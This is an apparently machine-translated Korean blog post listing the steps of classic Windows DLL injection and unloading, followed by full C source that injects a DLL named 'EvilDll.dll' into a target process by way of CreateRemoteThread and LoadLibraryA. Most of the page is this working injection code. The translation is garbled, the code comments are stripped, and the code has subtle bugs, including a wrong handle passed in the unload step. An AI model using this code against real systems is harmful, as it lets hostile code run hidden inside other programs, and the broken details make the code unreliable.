Dll 주입 클래식 메소드 전체 버전

9126 단어 dll
기본적인 주입 과정을 총결하여 주입과 하역을 나누다
Dll 주입:
1, OpenProcess 프로세스를 주입할문장의 손잡이
2, VirtualAllocEx는 원격 프로세스에서 strlen(dllname)+1 길이의 메모리를 개척한다.
3, WriteProcessMemory 두 번째 단계에서 개척한 메모리에 Dll의 이름을 기록합니다.
4, CreateRemoteThread LoadLibraryA를 Dll 이름의 스레드 함수로 사용하여 새 스레드 만들기
5, CloseHandle 스레드 핸들 닫기
Dll을 마운트 해제하려면 다음과 같이 하십시오.
1,CreateRemoteThread는 4GetModuleHandle원격 프로세스에 주입 매개변수는 주입된 Dll 이름입니다.
2, GetExitCodeThread 스레드가 종료된 종료 코드를 Dll 모듈의 핸들 값으로 사용합니다.
3, CloseHandle 스레드 핸들 닫기
3, CreateRemoteThread는 FreeLibraryA를 원격 프로세스에 주입하고 매개 변수는 두 번째 단계에서 얻은 핸들 값입니다.
4, WaitForSingleObject 객체 핸들이 반환될 때까지 기다립니다.
5, CloseHandle은 스레드와 프로세스 핸들을 닫습니다.
 
//Code By Pnig0s1992 
//Date:2012,3,13 
#include <stdio.h> 
#include <Windows.h> 
#include <TlHelp32.h> 
 
 
DWORD getProcessHandle(LPCTSTR lpProcessName)//         PID 
{ 
    DWORD dwRet = 0; 
    HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); 
    if(hSnapShot == INVALID_HANDLE_VALUE) 
    { 
        printf("
%d
",GetLastError()); return dwRet; } PROCESSENTRY32 pe32;// pe32.dwSize = sizeof(PROCESSENTRY32);// Process32First(hSnapShot,&pe32);// do { if(!lstrcmp(pe32.szExeFile,lpProcessName))// PID { dwRet = pe32.th32ProcessID; break; } } while (Process32Next(hSnapShot,&pe32)); CloseHandle(hSnapShot); return dwRet;// } INT main(INT argc,CHAR * argv[]) { DWORD dwPid = getProcessHandle((LPCTSTR)argv[1]); LPCSTR lpDllName = "EvilDll.dll"; HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,dwPid); if(hProcess == NULL) { printf("
%d
",GetLastError()); return -1; } DWORD dwSize = strlen(lpDllName)+1; DWORD dwHasWrite; LPVOID lpRemoteBuf = VirtualAllocEx(hProcess,NULL,dwSize,MEM_COMMIT,PAGE_READWRITE); if(WriteProcessMemory(hProcess,lpRemoteBuf,lpDllName,dwSize,&dwHasWrite)) { if(dwHasWrite != dwSize) { VirtualFreeEx(hProcess,lpRemoteBuf,dwSize,MEM_COMMIT); CloseHandle(hProcess); return -1; } }else { printf("
%d。
",GetLastError()); CloseHandle(hProcess); return -1; } DWORD dwNewThreadId; LPVOID lpLoadDll = LoadLibraryA; HANDLE hNewRemoteThread = CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE)lpLoadDll,lpRemoteBuf,0,&dwNewThreadId); if(hNewRemoteThread == NULL) { printf("
%d
",GetLastError()); CloseHandle(hProcess); return -1; } WaitForSingleObject(hNewRemoteThread,INFINITE); CloseHandle(hNewRemoteThread); // Dll DWORD dwHandle,dwID; LPVOID pFunc = GetModuleHandleA;// Dll HANDLE hThread = CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE)pFunc,lpRemoteBuf,0,&dwID); WaitForSingleObject(hThread,INFINITE); GetExitCodeThread(hThread,&dwHandle);// Dll CloseHandle(hThread); pFunc = FreeLibrary; hThread = CreateRemoteThread(hThread,NULL,0,(LPTHREAD_START_ROUTINE)pFunc,(LPVOID)dwHandle,0,&dwID); // FreeLibraryA Dll WaitForSingleObject(hThread,INFINITE); CloseHandle(hThread); CloseHandle(hProcess); return 0; }

좋은 웹페이지 즐겨찾기